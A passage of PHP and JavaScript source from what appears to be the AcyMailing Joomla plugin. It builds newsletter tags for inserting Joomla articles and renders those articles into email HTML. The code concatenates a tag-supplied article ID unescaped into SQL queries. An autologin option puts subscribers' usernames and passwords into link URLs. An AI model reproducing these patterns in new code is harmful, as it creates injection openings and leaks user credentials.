				for(var i = 0; i < document.adminForm.contenttype.length; i++){
					if(document.adminForm.contenttype[i].checked){
						selectedtype = document.adminForm.contenttype[i].value;
						otherinfo += '| type:' + document.adminForm.contenttype[i].value;
					}
				}
				for(var i = 0; i < document.adminForm.titlelink.length; i++){
					if(document.adminForm.titlelink[i].checked && document.adminForm.titlelink[i].value.length > 1){
						otherinfo += '| ' + document.adminForm.titlelink[i].value;
					}
				}

				var already = 0;
				if(document.adminForm.socialshare){
					for(var i = 0; i < document.adminForm.socialshare.length; i++){
						if(document.adminForm.socialshare[i].checked){
							if(already == 0){
								otherinfo += '| share:' + document.adminForm.socialshare[i].value;
								already++;
							}else{
								otherinfo += ',' + document.adminForm.socialshare[i].value;
							}
						}
					}
				}

				if(selectedtype != 'title'){
					for(var i = 0; i < document.adminForm.author.length; i++){
						if(document.adminForm.author[i].checked && document.adminForm.author[i].value.length > 1){
							otherinfo += '| ' + document.adminForm.author[i].value;
						}
					}
					for(var i = 0; i < document.adminForm.pict.length; i++){
						if(document.adminForm.pict[i].checked){
							otherinfo += '| pict:' + document.adminForm.pict[i].value;
							if(document.adminForm.pict[i].value == 'resized'){
								document.getElementById('pictsize').style.display = '';
								if(document.adminForm.pictwidth.value) otherinfo += '| maxwidth:' + document.adminForm.pictwidth.value;
								if(document.adminForm.pictheight.value) otherinfo += '| maxheight:' + document.adminForm.pictheight.value;
							}else{
								document.getElementById('pictsize').style.display = 'none';
							}
						}
					}
					document.getElementById('format').style.display = '';
				}else{
					document.getElementById('format').style.display = 'none';
				}

				if(document.adminForm.contentformat && document.adminForm.contentformat.value){
					otherinfo += '| format:' + document.adminForm.contentformat.value;
				}

				if(window.document.getElementById('jflang') && window.document.getElementById('jflang').value != ''){
					otherinfo += '|lang:';
					otherinfo += window.document.getElementById('jflang').value;
				}

				for(var i in selectedContents){
					if(selectedContents[i] && !isNaN(i)){
						tag = tag + '{joomlacontent:' + selectedContents[i] + otherinfo + '}<br />';
					}
				}
				setTag(tag);
			}
			//-->
		</script>
		<div class="onelineblockoptions">
			<table width="100%" class="acymailing_table">
				<tr>
					<td>
						<?php echo acymailing_translation('DISPLAY'); ?>
					</td>
					<td colspan="2">
						<?php echo acymailing_radio($contenttype, 'contenttype', 'size="1" onclick="updateTag();"', 'value', 'text', $pageInfo->contenttype); ?>
					</td>
					<td>
						<?php $jflanguages = acymailing_get('type.jflanguages');
						$jflanguages->onclick = 'onchange="updateTag();"';
						echo $jflanguages->display('lang', $pageInfo->lang); ?>
					</td>
				</tr>
				<tr id="format" class="acyplugformat">
					<td valign="top">
						<?php echo acymailing_translation('FORMAT'); ?>
					</td>
					<td valign="top">
						<?php echo $this->acypluginsHelper->getFormatOption('tagcontent'); ?>
					</td>
					<td valign="top"><?php echo acymailing_translation('DISPLAY_PICTURES'); ?></td>
					<td valign="top"><?php echo acymailing_radio($picts, 'pict', 'size="1" onclick="updateTag();"', 'value', 'text', $pageInfo->pict); ?>
						<span id="pictsize" <?php if($pageInfo->pict != 'resized') echo 'style="display:none;"'; ?>><br/><?php echo acymailing_translation('CAPTCHA_WIDTH') ?>
							<input name="pictwidth" type="text" onchange="updateTag();" value="<?php echo $pageInfo->pictwidth; ?>" style="width:30px;"/>
							x <?php echo acymailing_translation('CAPTCHA_HEIGHT') ?>
							<input name="pictheight" type="text" onchange="updateTag();" value="<?php echo $pageInfo->pictheight; ?>" style="width:30px;"/>
						</span>
					</td>
				</tr>
				<tr>
					<td>
						<?php echo acymailing_translation('CLICKABLE_TITLE'); ?>
					</td>
					<td>
						<?php echo acymailing_radio($titlelink, 'titlelink', 'size="1" onclick="updateTag();"', 'value', 'text', $pageInfo->titlelink); ?>
					</td>
					<td>
						<?php echo acymailing_translation('AUTHOR_NAME'); ?>
					</td>
					<td>
						<?php echo acymailing_radio($authorname, 'author', 'size="1" onclick="updateTag();"', 'value', 'text', (string)$pageInfo->author); ?>
					</td>
				</tr>
				<tr>
					<td>
						<?php echo acymailing_translation('SHARE'); ?>
					</td>
				<?php
				$socialMedias = array('facebook' => 'Facebook',
									'linkedin' => 'LinkedIn',
									'twitter' => 'Twitter',
									'google' => 'Google+');

				$cpt = 1;
				foreach($socialMedias as $key => $oneSocial){
					if($cpt == 4){
						$cpt = 1;
						echo '</tr><tr><td/>';
					}
					echo '<td><input value="'.$key.'" name="socialshare" id="'.$key.'" type="checkbox" onclick="updateTag();" /> ';
					echo '<label for="'.$key.'">'.$oneSocial.'</label></td>';
					$cpt++;
				}
				while($cpt != 4){
					$cpt++;
					echo '<td/>';
				}
				?>
				</tr>
			</table>
		</div>
		<div class="onelineblockoptions">
			<table class="acymailing_table_options">
				<tr>
					<td width="100%">
						<?php acymailing_listingsearch($pageInfo->search); ?>
					</td>
					<td nowrap="nowrap">
						<?php echo acymailing_select($categoriesValues, 'filter_cat', 'class="inputbox" size="1" onchange="document.adminForm.submit( );"', 'value', 'text', (int)$pageInfo->filter_cat); ?>
					</td>
				</tr>
			</table>

			<table class="acymailing_table" cellpadding="1" width="100%">
				<thead>
				<tr>
					<th class="title">
					</th>
					<th class="title">
						<?php echo acymailing_gridSort(acymailing_translation('FIELD_TITLE'), 'a.title', $pageInfo->filter->order->dir, $pageInfo->filter->order->value); ?>
					</th>
					<th class="title">
						<?php echo acymailing_gridSort(acymailing_translation('ACY_AUTHOR'), 'b.name', $pageInfo->filter->order->dir, $pageInfo->filter->order->value); ?>
					</th>
					<th class="title">
						<?php echo acymailing_gridSort(acymailing_translation(ACYMAILING_J16 ? 'COM_CONTENT_PUBLISHED_DATE' : 'START PUBLISHING'), 'a.publish_up', $pageInfo->filter->order->dir, $pageInfo->filter->order->value); ?>
					</th>
					<th class="title">
						<?php echo acymailing_gridSort(acymailing_translation('ACY_CREATED'), 'a.created', $pageInfo->filter->order->dir, $pageInfo->filter->order->value); ?>
					</th>
					<th class="title titleid">
						<?php echo acymailing_gridSort(acymailing_translation('ACY_ID'), 'a.id', $pageInfo->filter->order->dir, $pageInfo->filter->order->value); ?>
					</th>
				</tr>
				</thead>
				<tfoot>
				<tr>
					<td colspan="6">
						<?php echo $pagination->getListFooter(); ?>
						<?php echo $pagination->getResultsCounter(); ?>
					</td>
				</tr>
				</tfoot>
				<tbody>
				<?php
				$k = 0;
				for($i = 0, $a = count($rows); $i < $a; $i++){
					$row =& $rows[$i];
					?>
					<tr id="content<?php echo $row->id ?>" class="<?php echo "row$k"; ?>" onclick="applyContent(<?php echo $row->id.",'row$k'" ?>);" style="cursor:pointer;">
						<td class="acytdcheckbox"></td>
						<td>
							<?php
							$text = '<b>'.acymailing_translation('JOOMEXT_ALIAS').': </b>'.$row->alias;
							echo acymailing_tooltip($text, $row->title, '', $row->title);
							?>
						</td>
						<td>
							<?php
							if(!empty($row->name)){
								$text = '<b>'.acymailing_translation('JOOMEXT_NAME').' : </b>'.$row->name;
								$text .= '<br /><b>'.acymailing_translation('ACY_USERNAME').' : </b>'.$row->username;
								$text .= '<br /><b>'.acymailing_translation('ACY_ID').' : </b>'.$row->created_by;
								echo acymailing_tooltip($text, $row->name, '', $row->name);
							}
							?>
						</td>
						<td align="center">
							<?php echo acymailing_date(strip_tags($row->publish_up), acymailing_translation('DATE_FORMAT_LC4')); ?>
						</td>
						<td align="center">
							<?php echo acymailing_date(strip_tags($row->created), acymailing_translation('DATE_FORMAT_LC4')); ?>
						</td>
						<td align="center">
							<?php echo $row->id; ?>
						</td>
					</tr>
					<?php
					$k = 1 - $k;
				}
				?>
				</tbody>
			</table>
		</div>
		<input type="hidden" name="boxchecked" value="0"/>
		<input type="hidden" name="filter_order" value="<?php echo $pageInfo->filter->order->value; ?>"/>
		<input type="hidden" name="filter_order_Dir" value="<?php echo $pageInfo->filter->order->dir; ?>"/>
		<?php
		echo $tabs->endPanel();
		echo $tabs->startPanel(acymailing_translation('TAG_CATEGORIES'), 'joomlacontent_auto');

		$type = acymailing_getVar('string', 'type');

		?>
		<script language="javascript" type="text/javascript">
			<!--
			window.onload = function(){
				if(window.document.getElementById('tagsauto')){
					window.document.getElementById('tagsauto').onchange = updateAutoTag;
				}
			}
			var selectedCategories = new Array();
			<?php if(!ACYMAILING_J16){ ?>
			function applyAutoContent(secid, catid, rowClass){
				if(selectedCategories[secid] && selectedCategories[secid][catid]){
					window.document.getElementById('content_sec' + secid + '_cat' + catid).className = rowClass;
					delete selectedCategories[secid][catid];
				}else{
					if(!selectedCategories[secid]) selectedCategories[secid] = new Array();
					if(secid == 0){
						for(var isec in selectedCategories){
							for(var icat in selectedCategories[isec]){
								if(selectedCategories[isec][icat] == 'content'){
									window.document.getElementById('content_sec' + isec + '_cat' + icat).className = 'row0';
									delete selectedCategories[isec][icat];
								}
							}
						}
					}else{
						if(selectedCategories[0] && selectedCategories[0][0]){
							window.document.getElementById('content_sec0_cat0').className = 'row0';
							delete selectedCategories[0][0];
						}

						if(catid == 0){
							for(var icat in selectedCategories[secid]){
								if(selectedCategories[secid][icat] == 'content'){
									window.document.getElementById('content_sec' + secid + '_cat' + icat).className = 'row0';
									delete selectedCategories[secid][icat];
								}
							}
						}else{
							if(selectedCategories[secid][0]){
								window.document.getElementById('content_sec' + secid + '_cat0').className = 'row0';
								delete selectedCategories[secid][0];
							}
						}
					}

					window.document.getElementById('content_sec' + secid + '_cat' + catid).className = 'selectedrow';
					selectedCategories[secid][catid] = 'content';
				}

				updateAutoTag();
			}
			<?php }else{ ?>
			function applyAutoContent(catid, rowClass){
				if(selectedCategories[catid]){
					window.document.getElementById('content_cat' + catid).className = rowClass;
					delete selectedCategories[catid];
				}else{
					window.document.getElementById('content_cat' + catid).className = 'selectedrow';
					selectedCategories[catid] = 'content';
				}

				updateAutoTag();
			}
			<?php } ?>

			function updateAutoTag(){
				tag = '{autocontent:';
				<?php if(!ACYMAILING_J16){ ?>
				for(var isec in selectedCategories){
					for(var icat in selectedCategories[isec]){
						if(selectedCategories[isec][icat] == 'content'){
							if(icat != 0){
								tag += 'cat' + icat + '-';
							}else{
								tag += 'sec' + isec + '-';
							}
						}
					}
				}
				<?php }else{ ?>
				for(var icat in selectedCategories){
					if(selectedCategories[icat] == 'content'){
						tag += icat + '-';
					}
				}
				<?php } ?>

				var already = 0;
				if(document.adminForm.autosocialshare){
					for(var i = 0; i < document.adminForm.autosocialshare.length; i++){
						if(document.adminForm.autosocialshare[i].checked){
							if(already == 0){
								tag += '| share:' + document.adminForm.autosocialshare[i].value;
								already++;
							}else{
								tag += ',' + document.adminForm.autosocialshare[i].value;
							}
						}
					}
				}

				if(document.adminForm.min_article && document.adminForm.min_article.value && document.adminForm.min_article.value != 0){
					tag += '| min:' + document.adminForm.min_article.value;
				}
				if(document.adminForm.max_article.value && document.adminForm.max_article.value != 0){
					tag += '| max:' + document.adminForm.max_article.value;
				}
				if(document.adminForm.contentorder.value){
					tag += "| order:" + document.adminForm.contentorder.value + "," + document.adminForm.contentorderdir.value;
				}
				if(document.adminForm.contentfilter && document.adminForm.contentfilter.value){
					tag += document.adminForm.contentfilter.value;
				}
				if(document.adminForm.meta_article && document.adminForm.meta_article.value){
					tag += '| meta:' + document.adminForm.meta_article.value;
				}

				for(var i = 0; i < document.adminForm.contenttypeauto.length; i++){
					if(document.adminForm.contenttypeauto[i].checked){
						selectedtype = document.adminForm.contenttypeauto[i].value;
						tag += '| type:' + document.adminForm.contenttypeauto[i].value;
					}
				}

				for(var i = 0; i < document.adminForm.titlelinkauto.length; i++){
					if(document.adminForm.titlelinkauto[i].checked && document.adminForm.titlelinkauto[i].value.length > 1){
						tag += '|' + document.adminForm.titlelinkauto[i].value;
					}
				}
				if(selectedtype != 'title'){
					for(var i = 0; i < document.adminForm.authorauto.length; i++){
						if(document.adminForm.authorauto[i].checked && document.adminForm.authorauto[i].value.length > 1){
							tag += '|' + document.adminForm.authorauto[i].value;
						}
					}
					for(var i = 0; i < document.adminForm.pictauto.length; i++){
						if(document.adminForm.pictauto[i].checked){
							tag += '| pict:' + document.adminForm.pictauto[i].value;
							if(document.adminForm.pictauto[i].value == 'resized'){
								document.getElementById('pictsizeauto').style.display = '';
								if(document.adminForm.pictwidthauto.value) tag += '| maxwidth:' + document.adminForm.pictwidthauto.value;
								if(document.adminForm.pictheightauto.value) tag += '| maxheight:' + document.adminForm.pictheightauto.value;
							}else{
								document.getElementById('pictsizeauto').style.display = 'none';
							}
						}
					}
					document.getElementById('formatauto').style.display = '';
				}else{
					document.getElementById('formatauto').style.display = 'none';
				}

				if(document.getElementById('contentformatautoinvert').value == 1) tag += '| invert';
				if(document.adminForm.contentformatauto && document.adminForm.contentformatauto.value){
					tag += '| format:' + document.adminForm.contentformatauto.value;
				}

				if(document.adminForm.cols && document.adminForm.cols.value > 1){
					tag += '| cols:' + document.adminForm.cols.value;
				}
				if(window.document.getElementById('jflangauto') && window.document.getElementById('jflangauto').value != ''){
					tag += '| lang:' + window.document.getElementById('jflangauto').value;
				}
				if(window.document.getElementById('jlang') && window.document.getElementById('jlang').value != ''){
					tag += '| language:' + window.document.getElementById('jlang').value;
				}

				if(window.document.getElementById('tagsauto')){
					var tmp = 0;
					for(var i = 0; i < window.document.getElementById('tagsauto').length; i++){
						if(window.document.getElementById('tagsauto')[i].selected){
							if(tmp == 0){
								tag += '| tags:' + window.document.getElementById('tagsauto')[i].value;
								tmp = 1;
							}else{
								tag += ',' + window.document.getElementById('tagsauto')[i].value;
							}
						}
					}
				}

				tag += '}';

				setTag(tag);
			}
			//-->
		</script>
		<div class="onelineblockoptions">
			<table width="100%" class="acymailing_table">
				<tr>
					<td>
						<?php echo acymailing_translation('DISPLAY'); ?>
					</td>
					<td colspan="2">
						<?php echo acymailing_radio($contenttype, 'contenttypeauto', 'size="1" onclick="updateAutoTag();"', 'value', 'text', $this->params->get('default_type', 'intro')); ?>
					</td>
					<td id="languagesauto">
						<?php $jflanguages = acymailing_get('type.jflanguages');
						$jflanguages->onclick = 'onchange="updateAutoTag();"';
						$jflanguages->id = 'jflangauto';
						echo $jflanguages->display('langauto');
						if(empty($jflanguages->found)){
							echo $jflanguages->displayJLanguages('jlangauto');
						}
						?>
					</td>
				</tr>
				<tr id="formatauto" class="acyplugformat">
					<td valign="top">
						<?php echo acymailing_translation('FORMAT'); ?>
					</td>
					<td valign="top">
						<?php echo $this->acypluginsHelper->getFormatOption('tagcontent', 'TOP_LEFT', false, 'updateAutoTag'); ?>
					</td>
					<td valign="top"><?php echo acymailing_translation('DISPLAY_PICTURES'); ?></td>
					<td valign="top"><?php echo acymailing_radio($picts, 'pictauto', 'size="1" onclick="updateAutoTag();"', 'value', 'text', $this->params->get('default_pict', '1')); ?>
						<span id="pictsizeauto" <?php if($this->params->get('default_pict', '1') != 'resized') echo 'style="display:none;"'; ?> ><br/><?php echo acymailing_translation('CAPTCHA_WIDTH') ?>
							<input name="pictwidthauto" type="text" onchange="updateAutoTag();" value="<?php echo $this->params->get('maxwidth', '150'); ?>" style="width:30px;"/>
							x <?php echo acymailing_translation('CAPTCHA_HEIGHT') ?>
							<input name="pictheightauto" type="text" onchange="updateAutoTag();" value="<?php echo $this->params->get('maxheight', '150'); ?>" style="width:30px;"/>
						</span>
					</td>
				</tr>
				<tr>
					<td>
						<?php echo acymailing_translation('CLICKABLE_TITLE'); ?>
					</td>
					<td>
						<?php echo acymailing_radio($titlelink, 'titlelinkauto', 'size="1" onclick="updateAutoTag();"', 'value', 'text', $this->params->get('default_titlelink', 'link')); ?>
					</td>
					<td>
						<?php echo acymailing_translation('AUTHOR_NAME'); ?>
					</td>
					<td>
						<?php echo acymailing_radio($authorname, 'authorauto', 'size="1" onclick="updateAutoTag();"', 'value', 'text', (string)$this->params->get('default_author', '0')); ?>
					</td>
				</tr>
				<tr>
					<?php if(version_compare(JVERSION, '3.1.0', '>=')){ ?>
						<td valign="top">
							<?php echo acymailing_translation('TAGS'); ?>
						</td>
						<td>
							<?php
							$form = JForm::getInstance('acytagcontenttags', JPATH_SITE.DS.'components'.DS.'com_acymailing'.DS.'params'.DS.'tagcontenttags.xml');
							foreach($form->getFieldset('tagcontenttagfield') as $field){
								echo $field->input;
							}
							?>
						</td>
					<?php }else{ ?>
						<td colspan="2"></td>
					<?php } ?>
					<td valign="top"><?php echo acymailing_translation('FIELD_COLUMNS'); ?></td>
					<td valign="top">
						<select name="cols" style="width:150px" onchange="updateAutoTag();" size="1">
							<?php for($o = 1; $o < 11; $o++) echo '<option value="'.$o.'">'.$o.'</option>'; ?>
						</select>
					</td>
				</tr>
				<tr>
					<td>
						<?php echo acymailing_translation('MAX_ARTICLE'); ?>
					</td>
					<td>
						<input type="text" name="max_article" style="width:50px" value="20" onchange="updateAutoTag();"/>
					</td>
					<td>
						<?php echo acymailing_translation('ACY_ORDER'); ?>
					</td>
					<td>
						<?php
						$values = array('id' => 'ACY_ID', 'ordering' => 'ACY_ORDERING', 'created' => 'CREATED_DATE', 'modified' => 'MODIFIED_DATE', 'title' => 'FIELD_TITLE');
						if(ACYMAILING_J16) $values['publish_up'] = 'COM_CONTENT_PUBLISHED_DATE';
						echo $this->acypluginsHelper->getOrderingField($values, 'id', 'DESC', 'updateAutoTag');
						?>
					</td>
				</tr>
				<?php if($this->params->get('metaselect')){ ?>
					<tr>
						<td>
							<?php echo acymailing_translation('META_KEYWORDS'); ?>
						</td>
						<td colspan="3">
							<input type="text" name="meta_article" style="width:200px" value="" onchange="updateAutoTag();"/>
						</td>
					</tr>
				<?php } ?>
				<?php if($type == 'autonews'){ ?>
					<tr>
						<td>
							<?php echo acymailing_translation('MIN_ARTICLE'); ?>
						</td>
						<td>
							<input type="text" name="min_article" style="width:50px" value="1" onchange="updateAutoTag();"/>
						</td>
						<td>
							<?php echo acymailing_translation('JOOMEXT_FILTER'); ?>
						</td>
						<td>
							<?php $filter = acymailing_get('type.contentfilter');
							$filter->onclick = "updateAutoTag();";
							echo $filter->display('contentfilter', '|filter:created'); ?>
						</td>
					</tr>
				<?php } ?>
				<tr>
					<td>
						<?php echo acymailing_translation('SHARE'); ?>
					</td>
					<?php
					$cpt = 1;
					foreach($socialMedias as $key => $oneSocial){
						if($cpt == 4){
							$cpt = 1;
							echo '</tr><tr><td/>';
						}
						echo '<td><input value="'.$key.'" name="autosocialshare" id="auto'.$key.'" type="checkbox" onclick="updateAutoTag();" /> ';
						echo '<label for="auto'.$key.'">'.$oneSocial.'</label></td>';
						$cpt++;
					}
					while($cpt != 4){
						$cpt++;
						echo '<td/>';
					}
					?>
				</tr>
			</table>
		</div>

		<div class="onelineblockoptions">
			<table class="acymailing_table" cellpadding="1" width="100%">
				<thead>
				<tr>
					<th class="title"></th>
					<?php if(!ACYMAILING_J16){ ?>
						<th class="title">
							<?php echo acymailing_translation('SECTION'); ?>
						</th>
					<?php } ?>
					<th class="title">
						<?php echo acymailing_translation('TAG_CATEGORIES'); ?>
					</th>
				</tr>
				</thead>
				<tbody>
				<?php
				$k = 0;
				if(!ACYMAILING_J16){
					?>
					<tr id="content_sec0_cat0" class="<?php echo "row$k"; ?>" onclick="applyAutoContent(0,0,'<?php echo "row$k" ?>');" style="cursor:pointer;">
						<td class="acytdcheckbox"></td>
						<td style="font-weight: bold;">
							<?php
							echo acymailing_translation('ACY_ALL');
							?>
						</td>
						<td style="text-align:center;font-weight: bold;">
							<?php
							echo acymailing_translation('ACY_ALL');
							?>
						</td>
					</tr>

					<?php
				}

				$k = 1 - $k;
				$currentSection = '';
				foreach($categories as $row){

					if(!ACYMAILING_J16 && $currentSection != $row->section){
						?>
						<tr id="content_sec<?php echo $row->secid ?>_cat0" class="<?php echo "row$k"; ?>" onclick="applyAutoContent(<?php echo $row->secid ?>,0,'<?php echo "row$k" ?>');" style="cursor:pointer;">
							<td class="acytdcheckbox"></td>
							<td style="font-weight: bold;">
								<?php
								echo $row->section;
								?>
							</td>
							<td style="text-align:center;font-weight: bold;">
								<?php
								echo acymailing_translation('ACY_ALL');
								?>
							</td>
						</tr>
						<?php
						$k = 1 - $k;
						$currentSection = $row->section;
					}
					if(!ACYMAILING_J16){
						?>
						<tr id="content_sec<?php echo $row->secid ?>_cat<?php echo $row->catid ?>" class="<?php echo "row$k"; ?>" onclick="applyAutoContent(<?php echo $row->secid ?>,<?php echo $row->catid ?>,'<?php echo "row$k" ?>');" style="cursor:pointer;">
							<td class="acytdcheckbox"></td>
							<td>
							</td>
							<td>
								<?php
								echo $row->category;
								?>
							</td>
						</tr>
						<?php
					}else{ ?>
						<tr id="content_cat<?php echo $row->id ?>" class="<?php echo "row$k"; ?>" onclick="applyAutoContent(<?php echo $row->id ?>,'<?php echo "row$k" ?>');" style="cursor:pointer;">
							<td class="acytdcheckbox"></td>
							<td>
								<?php
								echo $row->title;
								?>
							</td>
						</tr>
					<?php }
					$k = 1 - $k;
				}
				?>
				</tbody>
			</table>
		</div>
		<?php

		echo $tabs->endPanel();
		echo $tabs->endPane();
	}

	public function acymailing_replacetags(&$email, $send = true){
		$this->_replaceAuto($email);
		$this->_replaceArticles($email);
	}

	private function _replaceArticles(&$email){
		$tags = $this->acypluginsHelper->extractTags($email, 'joomlacontent');
		if(empty($tags)) return;

		$this->newslanguage = new stdClass();
		if(!empty($email->language)){
			$this->db->setQuery('SELECT lang_id, lang_code FROM #__languages WHERE sef = '.$this->db->quote($email->language).' LIMIT 1');
			$this->newslanguage = $this->db->loadObject();
		}

		$this->currentcatid = -1;
		$this->readmore = empty($email->template->readmore) ? acymailing_translation('JOOMEXT_READ_MORE') : '<img class="readmorepict" src="'.ACYMAILING_LIVE.$email->template->readmore.'" alt="'.acymailing_translation('JOOMEXT_READ_MORE', true).'" />';

		require_once JPATH_SITE.DS.'components'.DS.'com_content'.DS.'helpers'.DS.'route.php';

		if($this->params->get('integration') == 'flexicontent' && file_exists(JPATH_SITE.DS.'components'.DS.'com_flexicontent'.DS.'helpers'.DS.'route.php')){
			require_once JPATH_SITE.DS.'components'.DS.'com_flexicontent'.DS.'helpers'.DS.'route.php';
		}

		$tagsReplaced = array();
		foreach($tags as $i => $oneTag){
			if(isset($tagsReplaced[$i])) continue;
			$tagsReplaced[$i] = $this->_replaceContent($oneTag);
		}

		$this->acypluginsHelper->replaceTags($email, $tagsReplaced, true);
	}

	private function _replaceContent(&$tag){
		$oldFormat = empty($tag->format);

		if(!ACYMAILING_J16){
			$query = 'SELECT a.*,b.name as authorname, c.alias as catalias, c.title as cattitle, c.image AS catpict, s.alias as secalias, s.title as sectitle FROM '.acymailing_table('content', false).' as a ';
			$query .= 'LEFT JOIN '.acymailing_table('users', false).' as b ON a.created_by = b.id ';
			$query .= ' LEFT JOIN '.acymailing_table('categories', false).' AS c ON c.id = a.catid ';
			$query .= ' LEFT JOIN '.acymailing_table('sections', false).' AS s ON s.id = a.sectionid ';
			$query .= 'WHERE a.id = '.$tag->id.' LIMIT 1';
		}else{
			$query = 'SELECT a.*,b.name as authorname, c.alias as catalias, c.title as cattitle, c.params AS catparams FROM '.acymailing_table('content', false).' as a ';
			$query .= 'LEFT JOIN '.acymailing_table('users', false).' as b ON a.created_by = b.id ';
			$query .= ' LEFT JOIN '.acymailing_table('categories', false).' AS c ON c.id = a.catid ';
			$query .= 'WHERE a.id = '.$tag->id.' LIMIT 1';
		}

		$this->db->setQuery($query);
		$article = $this->db->loadObject();

		if(empty($article)){
			if(acymailing_isAdmin()) acymailing_enqueueMessage('The article "'.$tag->id.'" could not be loaded', 'notice');
			return '';
		}

		if(empty($tag->lang) && !empty($this->newslanguage) && !empty($this->newslanguage->lang_code)) $tag->lang = $this->newslanguage->lang_code.','.$this->newslanguage->lang_id;

		$this->acypluginsHelper->translateItem($article, $tag, 'content');

		$varFields = array();
		foreach($article as $fieldName => $oneField){
			$varFields['{'.$fieldName.'}'] = $oneField;
		}

		$this->acypluginsHelper->cleanHtml($article->introtext);
		$this->acypluginsHelper->cleanHtml($article->fulltext);


		if($this->params->get('integration') == 'jreviews' && !empty($article->images)){
			$firstpict = explode('|', trim(reset(explode("\n", $article->images))).'|||||||');
			if(!empty($firstpict[0])){
				$picturePath = file_exists(ACYMAILING_ROOT.'images'.DS.'stories'.DS.str_replace('/', DS, $firstpict[0])) ? ACYMAILING_LIVE.'images/stories/'.$firstpict[0] : ACYMAILING_LIVE.'images/'.$firstpict[0];
				$myPict = '<img src="'.$picturePath.'" alt="" hspace="5" style="margin:5px" align="left" border="'.intval($firstpict[5]).'" />';
				$article->introtext = $myPict.$article->introtext;
			}
		}
		$completeId = $article->id;
		$completeCat = $article->catid;

		if(!empty($article->alias)) $completeId .= ':'.$article->alias;
		if(!empty($article->catalias)) $completeCat .= ':'.$article->catalias;

		if(empty($tag->itemid)){
			if(!ACYMAILING_J16){
				$completeSec = $article->sectionid;
				if(!empty($article->secalias)) $completeSec .= ':'.$article->secalias;
				if($this->params->get('integration') == 'flexicontent' && class_exists('FlexicontentHelperRoute')){
					$link = FlexicontentHelperRoute::getItemRoute($completeId, $completeCat, $completeSec);
				}else{
					$link = ContentHelperRoute::getArticleRoute($completeId, $completeCat, $completeSec);
				}
			}else{
				if($this->params->get('integration') == 'flexicontent' && class_exists('FlexicontentHelperRoute')){
					$link = FlexicontentHelperRoute::getItemRoute($completeId, $completeCat);
				}else{
					$link = ContentHelperRoute::getArticleRoute($completeId, $completeCat);
				}
			}
		}else{
			$link = 'index.php?option=com_content&view=article&id='.$completeId.'&catid='.$completeCat;
		}


		if($this->params->get('integration') == 'flexicontent' && !class_exists('FlexicontentHelperRoute')){
			$link = 'index.php?option=com_flexicontent&view=items&id='.$completeId;
		}elseif($this->params->get('integration') == 'jaggyblog'){
			$link = 'index.php?option=com_jaggyblog&task=viewpost&id='.$completeId;
		}

		if(!empty($tag->itemid)) $link .= '&Itemid='.$tag->itemid;
		if(!empty($tag->lang)) $link .= (strpos($link, '?') ? '&' : '?').'lang='.substr($tag->lang, 0, strpos($tag->lang, ACYMAILING_J16 ? '-' : ','));
		if(!empty($tag->autologin)) $link .= (strpos($link, '?') ? '&' : '?').'user={usertag:username|urlencode}&passw={usertag:password|urlencode}';

		if(empty($tag->lang) && !empty($article->language) && $article->language != '*'){
			if(!isset($this->langcodes[$article->language])){
				$this->db->setQuery('SELECT sef FROM #__languages WHERE lang_code = '.$this->db->Quote($article->language).' ORDER BY `published` DESC LIMIT 1');
				$this->langcodes[$article->language] = $this->db->loadResult();
				if(empty($this->langcodes[$article->language])) $this->langcodes[$article->language] = $article->language;
			}
			$link .= (strpos($link, '?') ? '&' : '?').'lang='.$this->langcodes[$article->language];
		}

		$nonsefLink = $link;
		$link = acymailing_frontendLink($link);
		$varFields['{link}'] = $link;

		$afterTitle = '';
		$afterArticle = '';
		$contentText = '';
		$pictPath = '';

		if(!empty($tag->author)){
			$authorName = empty($article->created_by_alias) ? $article->authorname : $article->created_by_alias;
			if($tag->type == 'title') $afterTitle .= '<br />';
			$afterTitle .= '<span class="authorname">'.$authorName.'</span><br />';
		}

		$dateFormat = empty($tag->dateformat) ? acymailing_translation('DATE_FORMAT_LC2') : $tag->dateformat;
		if(!empty($tag->created)){
			if($tag->type == 'title') $afterTitle .= '<br />';
			$varFields['{createddate}'] = acymailing_date($article->created, $dateFormat);
			$afterTitle .= '<span class="createddate">'.$varFields['{createddate}'].'</span><br />';
		}

		if(!empty($tag->modified)){
			if($tag->type == 'title') $afterTitle .= '<br />';
			$varFields['{modifieddate}'] = acymailing_date($article->modified, $dateFormat);
			$afterTitle .= '<span class="modifieddate">'.$varFields['{modifieddate}'].'</span><br />';
		}

		if(!isset($tag->pict) && $tag->type != 'title'){
			if($this->params->get('removepictures', 'never') == 'always' || ($this->params->get('removepictures', 'never') == 'intro' && $tag->type == "intro")){
				$tag->pict = 0;
			}else{
				$tag->pict = 1;
			}
		}

		if(strpos($article->introtext, 'jseblod') !== false && file_exists(ACYMAILING_ROOT.'plugins'.DS.'content'.DS.'cckjseblod.php')){
			global $mainframe;
			include_once(ACYMAILING_ROOT.'plugins'.DS.'content'.DS.'cckjseblod.php');
			if(function_exists('plgContentCCKjSeblod')){
				$paramsContent = JComponentHelper::getParams('com_content');
				$article->text = $article->introtext.$article->fulltext;
				plgContentCCKjSeblod($article, $paramsContent);
				$article->introtext = $article->text;
				$article->fulltext = '';
			}
		}

		if($tag->type != "title"){
			if($tag->type == "intro"){
				$forceReadMore = false;
				$mytag = new stdClass();
				$mytag->wrap = $this->params->get('wordwrap', 0);
				if(empty($article->fulltext)){
					$article->introtext = $this->acypluginsHelper->wrapText($article->introtext, $mytag);
					if(!empty($this->acypluginsHelper->wraped)) $forceReadMore = true;
				}
			}

			if(empty($article->fulltext) || $tag->type != "text"){
				$contentText .= $article->introtext;
			}

			if($tag->type != "intro" && !empty($article->fulltext)){
				if($tag->type != "text" && !empty($article->introtext) && !preg_match('#^<[div|p]#i', trim($article->fulltext))){
					$contentText .= '<br />';
				}
				$contentText .= $article->fulltext;
			}

			$contentText = $this->acypluginsHelper->wrapText($contentText, $tag);
			if(!empty($this->acypluginsHelper->wraped)) $forceReadMore = true;

			if(!empty($tag->clean)){
				$contentText = strip_tags($contentText, '<p><br><span><ul><li><h1><h2><h3><h4><a>');
			}

			if(ACYMAILING_J16 && !empty($article->images) && !empty($tag->pict) && empty($tag->nomainimage)){
				$picthtml = '';
				$images = json_decode($article->images);
				$pictVar = ($tag->type == 'intro') ? 'image_intro' : 'image_fulltext';
				$floatVar = ($tag->type == 'intro') ? 'float_intro' : 'float_fulltext';
				if(!empty($images->$pictVar)){
					if($images->$floatVar != 'right'){
						if(empty($tag->format)) $tag->format = 'TOP_LEFT';
						$images->$floatVar = 'left';
					}elseif(empty($tag->format)) $tag->format = 'TOP_RIGHT';
